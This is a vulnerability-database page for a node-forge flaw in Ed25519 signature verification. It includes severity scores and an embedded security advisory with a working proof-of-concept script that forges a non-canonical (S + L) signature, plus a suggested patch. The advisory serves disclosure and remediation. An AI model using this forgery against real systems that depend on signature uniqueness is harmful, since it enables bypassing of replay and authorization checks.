CVE-2026-33895

highpriority · track · 0EPSS 0.005 · 40 %ileDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.47% (40th) EPSS
CVSS 7.5 · high
Is it mine?
27 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · cert_bund · osv

EPSS · scored 2026-10-22

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondaryexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (27)

Products and version ranges known to be affected.

showing 20 of 27
05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1407IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-06csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

  • GHSA-q67f-28xg-22rwForge has signature forgery in Ed25519 due to missing S > L check2026-03-26ghsa · osvUS

    ## Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. **Configuration assumptions:** - Default forge Ed25519 verify API path (`ed25519.verify(...)`). ## Root Cause In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication: ```javascript scalarbase(q, sm.subarray(32)); ``` There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. ## Reproduction Steps - Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. - Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`). - Confirm output includes: ```json { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: ```text { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` <details><summary>poc.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); ``` </details> ## Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: ```diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { ``` ## Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

06

also known as (3)

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07

sources

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published 2026-03-27modified 2026-09-04
08

references (17)

External citations — patches, advisories, analysis.

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